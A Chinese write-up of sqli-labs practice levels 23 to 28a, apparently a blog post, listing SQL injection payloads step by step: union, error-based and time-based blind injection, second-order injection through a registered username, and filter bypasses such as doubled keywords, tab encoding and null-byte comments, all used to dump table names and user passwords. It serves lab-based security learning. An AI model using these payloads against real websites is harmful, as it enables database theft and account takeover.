sqli-labs靶场23-28a关(过滤)
目录
less23(--+过滤)
less24(二次注入)
less25(or过滤)
less25a(or过滤)
less26(--+和空格过滤报错)
less26a(--+空格过滤盲注)
less27(空格union、select过滤)
less27a(空格union,select过滤)
less28(空格union,select过滤)
less28a(union、select过滤)
less23(--+过滤)
get传参id=1,显示用户名和密码:
?id=1'报错——判断为单引号闭合
?id=1'--+还是报错,且尝试添加括号闭合符号,还是报错,说明--+注释符被过滤了
由于是单引号闭合,那我们可以在语句后面加上or '将后面的语句闭合起来,而不是注释掉
判断好闭合后,尝试order by判断回显位时,判断不出来,由于这里有报错信息,那么可以考虑报错注入。
也可以尝试跳过回显位判断,直接union select 1,2,…… or '不断尝试,找到回显位:
通过尝试,?id=-1' union select 1,2,3 or'找到回显位:
?id=-1' union select 1,database(),3 or'——爆数据库
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or'——爆表名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' or'——爆字段名
尝试?id=-1' union select 1,group_concat(password),3 from security.users or'爆数据时,会出错,因为or语句被判定为了sql语句的判定语句,相当于where语句,那就用where语句来闭合后面的'
?id=-1' union select 1,group_concat(password),3 from security.users where 1='1——爆数据
less24(二次注入)
这关有多个功能,包括注册登录和修改密码:
并且如果我们点击忘记密码,它会提醒我们:
那这关的主要目的就是模拟忘记密码后,怎么修改密码了。
比如我们自己有一个账户为test,密码不知道
首先注册一个同名账号,然后加上注入语句,造成二次注入:
test'#,密码随便设置,比如123:
注册成功后,登录test'#账户,选择修改密码:
修改成功后,可以发现,修改的其实是test用户的密码,因为:
修改密码:
UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass'
可以发现,实际修改的是test用户的密码。
less25(or过滤)
通过get传参?id=1,显示用户名和密码
?id=1'——报错,判断为单引号闭合
?id=1'--+——正常回显,确定为单引号闭合
由于有报错信息,那我们直接尝试报错注入:
?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
发现报错,说明存在过滤。
使用万能密码?id=1'or(ture)--+发现还是报错,结合之前的注入语句,判断是or被过滤了!
可以尝试双写绕过:
?id=1' oorr updatexml(1,concat(0x7e,(database()),0x7e),1)--+爆数据库:
有意思的是information中的or也被过滤了:
所以同样需要双写:
?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1)--+爆表名
?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'),0x7e),1)--+爆字段名(and也需要双写)
?id=1' oorr updatexml(1,concat(0x7e,(select group_concat(passwoorrd) from security.users),0x7e),1)--+爆数据(注意password中的or也需要双写)
less25a(or过滤)
同25关,但是这关没有具体的报错信息,所以不能用报错注入。
get传参?id=1回显用户名和密码
?id=1'报错——判断为单引号闭合
?id=1'--+还是报错……
尝试各种引号括号,都报错——判断这里可能是数字型
?id=3-1,回显正常——确定为数字型
尝试万能密码?id=1 or (true)--+——错误回显
?id=1 oorr (true)--+——正确回显,判断是or被过滤了
?id=1 oorrder by 4--+错误回显
?id=1 oorrder by 3--+正确回显——判断有三处回显
?id=-1 union select 1,2,3--+找到回显位置:
?id=-1 union select 1,database(),3--+爆数据库
?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'--+爆表名
?id=-1 union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'--+爆字段名
?id=-1 union select 1,group_concat(passwoorrd),3 from security.users--+爆数据
less26(--+和空格过滤报错)
?id=1'报错——判断为单引号闭合
?id=1'--+报错,并且尝试添加括号还是报错
?id=1'or(true)--+尝试万能密码,还是报错,双写or还是报错——判断可能--+被过滤
使用;%00代替--+
?id=1'or(true);%00——还是报错,尝试双写or,终于回显正常了:
?id=1'oorr(true);%00
由于这关有报错信息,那么直接用报错注入:
?id=1' oorr updatexml(1,concat(0x7e,(database()),0x7e),1);%00又报错了,还有空格被过滤
这里尝试了各种空格绕过,都失败了,再尝试用||代替or,既能代替or,又能起一个分隔符的作用,那么就可以不用空格了:
?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1);%00爆数据库
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1);%00爆表名(注意后面语句中的空格也会被过滤,所以用口号包裹各个语句)
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='users')aandnd(table_schema='security'))),0x7e),1);%00爆字段名
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(passwoorrd))from(security.users)),0x7e),1);%00爆数据
less26a(--+空格过滤盲注)
传入参数?id=1回显用户名和密码
?id=1'回显错误——判断为单引号闭合
?id=1'--+还是报错
尝试?id=1')--+和?id=1'))--+都不行
怀疑是数字型,尝试?id=2-1,不行
说明存在过滤的情况:
使用万能密码:?id=1'or(true)--+不行
多次尝试后,双写or,然后使用;%00代替--+,添加反括号)后回显正常了:
?id=1')oorr(true);%00
由于没有具体的报错信息,尝试使用时间盲注:
?id=0')||if((length(database())=8),sleep(5),1);%00爆数据库名长度:
?id=0')||if((substr((select(database())),1,1)='a'),sleep(5),1);%00爆数据库名:
?id=0')||if((substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e'),sleep(5),1);%00爆表名
(这里没有用limit 0,1因为用了好像会出错,所以直接用了group_concat来爆所有表,缺点是不太好区分表名。这里还好,每张表以字母s隔开)
?id=0')||if((substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='users')anandd(table_schema='security'))),1,1)='e'),sleep(5),1);%00爆字段名:
?id=0')||if((substr((select(group_concat(passwoorrd))from(security.users)),1,1)='e'),sleep(5),1);%00爆数据:
less27(空格union、select过滤)
?id=1'报错——判断为单引号闭合
?id=1'--+报错,可能是--+被过滤
?id=1'or(true);%00成功绕过过滤:
?id=1' order by 3;%00报错——空格被过滤,尝试%09绕过过滤:
?id=1'%09order%09by%093;%00——判断回显位数
?id=1'%09union%09select%091,2,3;%00——报错,union和select被过滤,尝试大小写或双写
?id='%09uNion%09seLect%091,2,3;%00——成功找到回显位置:
?id='%09uNion%09seLect%091,database(),3;%00——爆数据库
?id='%09uNion%09seLect%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表
?id='%09uNion%09seLect%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段名
?id='%09uNion%09seLect%091,group_concat(password),3%09from%09security.users;%00——爆数据
less27a(空格union,select过滤)
?id=1'——没有出错
?id=1"——报错——判断为双引号闭合
?id=1"--+报错,?id=1";%00正常回显——判断--+被过滤,使用;%00绕过过滤
?id=1"%09order%09by%093;%00——判断回显位数(%09绕过空格过滤)
?id="%09union%09select%091,2,3;%00报错——union、select过滤,尝试大小写或双写绕过:
?id="%09uunionnion%09selecT%091,2,3;%00——找到回显位置:
?id="%09uunionnion%09selecT%091,database(),3;%00——爆数据库
?id="%09uunionnion%09selecT%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表
?id="%09uunionnion%09selecT%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段名
?id="%09uunionnion%09selecT%091,group_concat(id,password),3%09from%09security.users;%00——爆数据
less28(空格union,select过滤)
?id=1'报错——判断为单引号闭合
?id=1'--+报错,?id=1';%00报错
?id=1');%00正常回显——判断为单引号括号闭合,--+过滤
?id=1')%09order%09by%093;%00——判断回显位有3位
?id=')%09union%09union%09select%09%09select%091,2,3;%00——找到回显位
(双写union和select)
?id=')%09union%09union%09select%09%09select%091,database(),3;%00——爆数据库
?id=')%09union%09union%09select%09%09select%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema='security';%00——爆表
?id=')%09union%09union%09select%09%09select%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema='security';%00——爆字段
?id=')%09union%09union%09select%09%09select%091,group_concat(id,username,password),3%09from%09security.users;%00——爆字段数据
less28a(union、select过滤)
?id=1'报错——判断为单引号闭合
?id=1';--+又报错,?id=1');--+正确回显——判断为单引号括号闭合
?id=1') order by 3;--+——判断出有三处回显
?id=') union select 1,2,3;--+——报错,判断union、select过滤,尝试双写
?id=') union union select select 1,2,3;--+——找到回显位置
?id=') union union select select 1,2,database();--+——爆数据库
?id=') union union select select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+——爆表
?id=') union union select select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security';--+——爆字段名
?id=') union union select select 1,2,group_concat(id,username,password) from security.users;--+——爆数据
相关文章:
sqli-labs靶场23-28a关(过滤)
目录 less23(--过滤) less24(二次注入) less25(or过滤) less25a(or过滤) less26(--和空格过滤报错) less26a(--空格过滤盲注) …...
Sigmoid与Softmax:从二分类到多分类的深度解析
Sigmoid与Softmax:从二分类到多分类的深度解析 联系 函数性质:二者都是非线性函数 ,也都是指数归一化函数,可将输入值映射为0到1之间的实数 ,都能把输出转化成概率分布的形式,在神经网络中常作为激活函数使用。Softmax是Sigmoid的推广:从功能角度看,Softmax函数可视为…...
uni-app x正式支持鸿蒙原生应用开发
DCloud发布的HBuilderX 4.64正式版,支持编译uni-app x项目到鸿蒙平台,实现跨平台开发鸿蒙原生应用。至此,uni-app x 已经完成Android、iOS、鸿蒙、Web、微信小程序等主流平台全覆盖。 uni-app x,是下一代 uni-app,是一…...
【软件推荐——pdf2docx】
pdf2docx Open source Python library for converting PDF to DOCX. https://github.com/ArtifexSoftware/pdf2docx Install pip install pdf2docx使用 from pdf2docx import Converterpdf_file D:\my\c4611_sample_explain.pdf docx_file D:\my\c4611_sample_explain.d…...
HarmonyOS开发组件基础
个人简介 👨💻个人主页: 魔术师 📖学习方向: 主攻前端方向,正逐渐往全栈发展 🚴个人状态: 研发工程师,现效力于政务服务网事业 🇨🇳人生格言&…...
JMeter 测试工具--组件--简单介绍
目录 编辑 一、测试计划(Test Plan) 二、线程组(Thread Group) 三、取样器(Sampler) 四、监听器(Listener) 五、逻辑控制器(Logic Controller) 六、断…...
ECPF 简介
ECPF(Embedded CPU Function,嵌入式CPU功能)是NVIDIA BlueField DPU特有的一种功能类型,和PF(Physical Function,物理功能)、VF(Virtual Function,虚拟功能)密…...
【Opencv】canny边缘检测提取中心坐标
采用opencv 对图像中的小球通过canny边缘检测的方式进行提取坐标 本文介绍了如何使用OpenCV对图像中的小球进行Canny边缘检测,并通过Zernike矩进行亚像素边缘检测,最终拟合椭圆以获取小球的精确坐标。首先,图像被转换为灰度图并进行高斯平滑…...
C#实现访问远程硬盘(附源码)
在现实场景中,我们经常用到远程桌面功能,而在某些场景下,我们需要使用类似的远程硬盘功能,这样能非常方便地操作对方电脑磁盘的目录、以及传送文件。那么,这样的远程硬盘功能要怎么实现了? 这次我们将给出…...
AI日报 · 2025年05月16日|Google DeepMind推出AlphaEvolve,能自主设计高级算法的编码代理
全球AI新闻日报 日期:2025年5月16日 目录 OpenAI与CoreWeave签署40亿美元新协议,GPT-4.1模型全面推出Google DeepMind推出AlphaEvolve,能自主设计高级算法的编码代理Anthropic律师因Claude模型虚构法律引用被迫道歉Meta推迟旗舰AI模型&quo…...
TCP/IP 知识体系
TCP/IP 知识体系 一、TCP/IP 定义 全称:Transmission Control Protocol/Internet Protocol(传输控制协议/网际协议)核心概念: 跨网络实现信息传输的协议簇(包含 TCP、IP、FTP、SMTP、UDP 等协议)因 TCP 和…...
记一次缓存填坑省市区级联获取的操作
先说缓存是什么? 缓存主要是解决高并发,大数据场景下,热点数据快速访问。缓存的原则首先保证数据的准确和最终数据一致,其次是距离用户越近越好,同步越及时越好。 再说我们遇到的场景: 接手项目后&#…...
【时空图神经网络 交通】相关模型2:STSGCN | 时空同步图卷积网络 | 空间相关性,时间相关性,空间-时间异质性
注:仅学习使用~ 前情提要: 【时空图神经网络 & 交通】相关模型1:STGCN | 完全卷积结构,高效的图卷积近似,瓶颈策略 | 时间门控卷积层:GLU(Gated Linear Unit),一种特殊的非线性门控单元目录 STSGCN-2020年1.1 背景1.2 模型1.2.1 问题背景:现有模型存在的问题1.2…...
uniapp实现在线pdf预览以及下载
uniapp实现在线pdf预览以及下载 在线预览 遇到的问题 后端返回一个url地址,我需要将在在页面中渲染出来。因为在浏览器栏上我输入url地址就可以直接预览pdf文件,因此直接的想法是通过web-view组件直接渲染。有什么问题呢?在h5端能够正常渲…...
【Rust闭包】rust语言闭包函数原理用法汇总与应用实战
✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,…...
裸金属服务器和云服务器之间的差别
裸金属服务器能够直接在硬件上运行,不需要额外的虚化层,让每个应用程序或者是服务都能够在实际的硬件上运行,不需要和其他虚拟服务器来共享资源;而云服务器作为一种虚拟服务器,是通过虚拟化技术为企业提供一个独立的计…...
CentOS系统中升级Python 3.12.2版本
在CentOS系统中升级Python版本是一项常见的操作,尤其是在需要使用较新功能或满足某些软件依赖的情况下。以下是详细的步骤和注意事项,帮助您顺利完成Python版本的升级。 1. 升级Python版本前的准备 在开始升级之前,请确保以下几点࿱…...
win10-django项目与mysql的基本增删改查
以下都是在win10系统下,django项目的orm框架对本地mysql的表的操作 models.py----->即表对应的类所在的位置 在表里新增数据 1.引入表对应的在models.py中的类class 2.在views.py中使用函数:类名.objects.create(字段名值,字段名"值"。。。…...
图像处理:预览并绘制图像细节
前言 因为最近在搞毕业论文的事情,要做出一下图像细节对比图,所以我这里写了两个脚本,一个用于框选并同时预览图像放大细节,可显示并返回框选图像的坐标,另外一个是输入框选图像的坐标并将放大的细节放置在图像中&…...
针对面试-微服务篇
1.Spring Cloud 5大组件有哪些? 随着SpringCloudAlibba在国内兴起,我们项目中使用了一些阿里巴巴的组件 注册中心/配置中心 Nacos 负载均衡 Ribbon 服务调用 Feign 服务保护 sentinel 服务网关 Gateway 2. 我看你之前也用过nacos、你能说下nacos与eureka的区别?…...
SRS流媒体服务器(5)源码分析之RTMP握手
1.概述 学习 RTMP 握手逻辑前,需明确两个核心问题: rtmp协议连接流程阶段rtmp简单握手和复杂握手区别 具体可以学习往期博客: RTMP协议分析_rtmp与264的关系-CSDN博客 2.rtmp握手源码分析 2.1 握手入口 根据SRS流媒体服务器(4)可知&am…...
线程池(ThreadPoolExecutor)实现原理和源码细节是Java高并发面试和实战开发的重点
一、线程池核心流程图 ----------------- | 提交任务 | submit/execute -----------------|v ----------------- | 判断核心线程数 | < corePoolSize? -----------------|Yes |Nov v [创建新线程] -----------------| 队列是否满&a…...
C# DataGridView 选中所有复选框
问题描述 在程序中尝试选中所有复选框,但出现错误。如果单击顶部的完整选中/释放复选框,同时选中包含复选框的列,则选定区域不会改变。该如何解决? 上面的图片是点击完整版本之后的。 下面是本文的测试代码,函数 dat…...
linux 服务器安装jira-8.22.0和confluence-8.5.21
前提: 下载资源包 z_atlassian-agent-v1.3.1.zip z_atlassian-confluence-8.5.21-x64.zip z_atlassian-jira-software-8.22.0-x64.zip z_jdk-8u131-linux-x64.tar.gz z_postgresql-12.0.tar.gz 可通过作者本身资源库下载 一:服务器构建文件夹 mkdir /z …...
【计算机网络】HTTP/1.0,HTTP/1.1,HTTP/2,HTTP/3汇总讲解,清晰表格整理面试重点对比
表格汇总 对比维度HTTP/1.0HTTP/1.1HTTP/2HTTP/3传输协议TCPTCPTCP/TLS(默认加密)UDP(基于 QUIC 协议)连接方式短连接(每次请求/响应后断开)引入持久连接(Persistent Connection)&a…...
Go语言之路————并发
Go语言之路————并发 前言协程管道SelectsyncWaitGroup锁 前言 我是一名多年Java开发人员,因为工作需要现在要学习go语言,Go语言之路是一个系列,记录着我从0开始接触Go,到后面能正常完成工作上的业务开发的过程,如…...
python的家教课程管理系统
目录 技术栈介绍具体实现截图系统设计研究方法:设计步骤设计流程核心代码部分展示研究方法详细视频演示试验方案论文大纲源码获取/详细视频演示 技术栈介绍 Django-SpringBoot-php-Node.js-flask 本课题的研究方法和研究步骤基本合理,难度适中…...
0x08.Redis 支持事务吗?如何实现?
回答重点 Redis 支持事务,但它的事务与 MySQL 等关系型数据库的事务有着本质区别。MySQL 中的事务严格遵循 ACID 特性,而 Redis 中的事务主要保证的是命令执行的原子性和隔离性,即所有命令在一个不可分割的操作中顺序执行,不会被其他客户端的命令请求所打断。 最关键的区…...
互联网应用的安全防线-身份证实名认证api-身份证三要素验证
随着联网技术的普及,互联网应用已深度渗透人们的生活,从购物下单到社交互动,从金融理财到在线教育,每一次的联网互动都隐藏着一个关乎安全与信任的“隐形卫士”-身份证实名认证接口功能。它如同数字世界的“电子身份证”ÿ…...
本地跑通vue-element-admin项目
GitHub - PanJiaChen/vue-element-admin: :tada: A magical vue admin https://panjiachen.github.io/vue-element-admin 通过加速clone到本地 git clone https://gitclone.com/github.com/PanJiaChen/vue-element-admin.git # 进入项目目录 cd vue-element-admin # 安装依赖…...
el-table表格列宽度自适应
需求:表格错误描述列 要求按照内容最大值设置宽度;如果没有值 则设置最小宽度 <el-table-columnv-else-if"item.prop errorDescription":key"item.code":width"flexColumnWidth(errorDescription, tableConfigA.tableDataA…...
Mysql存储过程(附案例)
文章目录 存储过程概述1、基本语法2、变量①、系统变量②、用户自定义变量③、局部变量 3、流程控制语句①、if语句②、参数③、case语句④、while语句⑤、repeat语句⑥、loop语句⑦、cursor游标⑧、handler 4、存储函数 存储过程概述 存储过程是事先经过编译并存储在数据…...
宇树科技申请 “机器人牌照” 商标,剑指机器人领域新高度
近日,据天眼查信息显示,杭州宇树科技有限公司有了一项重大举动,其申请注册了 “机器人牌照”“机牌”“Robot license”“Robot plate” 等商标,国际分类涉及科学仪器、运输工具、广告销售等多个领域,当前商标状态均为…...
计算机图形学基础--Games101笔记(一)数学基础与光栅化
数学基础 向量 点乘,叉乘和投影: 插值 三角形插值 **重心坐标:**我们通过任意点的重心坐标来插值。 V α V A β V B γ V C V\alpha V_A\beta V_B\gamma V_C VαVAβVBγVC。注意重心坐标没有投影不变性,如果插值三…...
Chrome拓展(Chrome Extension)开发定时任务插件
Chrome扩展定时任务插件开发指南 核心实现原理 使用Chrome Alarms API实现定时触发通过Service Worker保持后台运行本地存储保存任务配置 开发步骤 创建manifest文件 (manifest.json) {"manifest_version": 3,"name": "定时任务助手","…...
100G QSFP28 BIDI光模块一览:100G单纤高速传输方案|易天光通信
目录 前言 一、易天光通信100G QSFP28 BIDI光模块是什么? 二、易天光通信100G QSFP28 BIDI光模块采用的关键技术 三、100G QSFP28 BIDI光模块的优势 四、以“易天光通信100G BIDI 40km ER1光模块”为例 五、总结:高效组网,从“减”开始 关于…...
每日Prompt:迷你 3D 建筑
提示词 3D Q版迷你风格,一个充满奇趣的迷你星巴克咖啡馆,外观就像一个巨大的外带咖啡杯,还有盖子和吸管。建筑共两层,大大的玻璃窗清晰地展示出内部温馨而精致的设计:木质的家具、温暖的灯光以及忙碌的咖啡师们。街道…...
从另一个视角理解TCP握手、挥手与可靠传输
本文将深入探讨 TCP 协议中三次握手、四次挥手的原理,以及其保证可靠传输的机制。 一、三次握手:为何是三次,而非两次? 建立 TCP 连接的过程犹如一场严谨的 “对话”,需要经过三次握手才能确保通信双方的可靠连接。 三…...
SearxNG本地搜索引擎
SearxNG 是一个强大、开源的 元搜索引擎(meta search engine),它不会存储用户信息,注重隐私保护,并支持从多个搜索引擎聚合结果,用户可以自建部署,打造一个无广告、可定制的搜索平台。 🔍 什么是 SearxNG? SearxNG 是 Searx 的一个积极维护的分支(fork),意在改进…...
基于支持向量机(SVM)的P300检测分类
基于支持向量机(SVM)的P300检测分类MATLAB实现,包含数据预处理、特征提取和分类评估流程: %% P300检测分类完整流程(SVM实现) clc; clear; close all;%% 1. 数据加载与模拟生成(实际应用需替换…...
Oracle学习日记--Oracle中使用单个inert语句实现插入多行记录
目录 前言: 问题现象: 问题分析: 解决方法: 1、insert into ... union all句式 2、insert all into ...select 1 from dual句式 总结: 前言: 最近项目中使用到了Oracle数据库,由于Oracle数…...
利用边缘计算和工业计算机实现智能视频分析
在人工智能和物联网取得重大进步的时代,智能视频分析(IVA)正在通过整合先进的人工智能技术来改变视频监控和分析。这项革命性的技术增强了视觉智能,是关键行业创新解决方案的驱动因素。在本文中,我们将介绍IVA的好处、…...
tomcat一闪而过,按任意键继续以及控制台中文乱码问题
问题描述 今天在打开tomcat,启动startup.bat程序时 tomcat直接闪退,后面查找资料后发现,可以通过编辑startup.bat文件内容,在最后一行加入pause即可让程序不会因为异常而终止退出 这样方便查看tomcat所爆出的错误: 然后,我明确看到我的tomcat启动程序显示如下的内容,没有明确…...
go 集成base64Captcha 支持多种验证码
base64Captcha 是一个基于 Go 语言开发的验证码生成库,主要用于在 Web 应用中集成验证码功能,以增强系统的安全性。以下是其主要特点和简介: base64Captcha主要功能 验证码类型丰富:支持生成多种类型的验证码,包括纯…...
【数据结构】线性表--栈
【数据结构】线性表--栈 一.什么是栈二.栈的实现1.栈结构定义:2.栈的初始化:3.栈的销毁:4.插入函数:5.删除函数:6.求栈顶元素:7.求数据个数:8.判空: 三.总结 一.什么是栈 栈是一种重…...
基于亚博K210开发板——麦克风录播测试
开发板 亚博K210开发板 实验目的 本次测试主要学习 K210 通过 I2S 接收和发送的功能,麦克风录音,扬声器播放。 实验准备 实验元件 扬声器、麦克风 元件特性 K210 开发板的麦克风同样是使用 I2S 传输数据,只不过麦克风使用的是 I2S…...
操作系统-锁/内存/中断/IO
文章目录 锁自旋锁互斥锁悲观锁和乐观锁 内存管理物理/虚拟内存页表段表虚拟内存布局写时复制copy on writebrk,mmap页面置换算法 中断中断分类中断流程 网络I/OI/O模型服务器处理并发请求 锁 自旋锁 自旋锁是一种基于忙等待(Busy-Waiting)…...
割点与其例题
割点 定义: 若一个点在图中被去掉后,图的连通块个数增加,那么这个点就被称为“割点”。如下图所示红点。 定义说白了就是若去掉一个点,图被“断开”的点称为割点。 朴素算法: 枚举每个点 u。遍历图,如果…...
CSS实现文本自动平衡text-wrap: balance
不再有排版孤行和寡行 我们都知道那些标题,最后一个单词换行并单独站在新行上,破坏了视觉效果,看起来很奇怪。当然,有老式的 手动换行或将内容分成不同部分。但您听说过text-wrap: balance吗? 通过应用text-wrap: bal…...
【未完】【GNN笔记】EvolveGCN:Evolving Graph Convolutional Networks for Dynamics Graphs
Evolving Graph Convolutional Networks for Dynamics Graphs 视频链接:《图神经网络》 相关系列: 《Dynamic Graph的分类》《动态图网络之Dynamic Self-Attention Network》 文章目录 Evolving Graph Convolutional Networks for Dynamics Graphs一、…...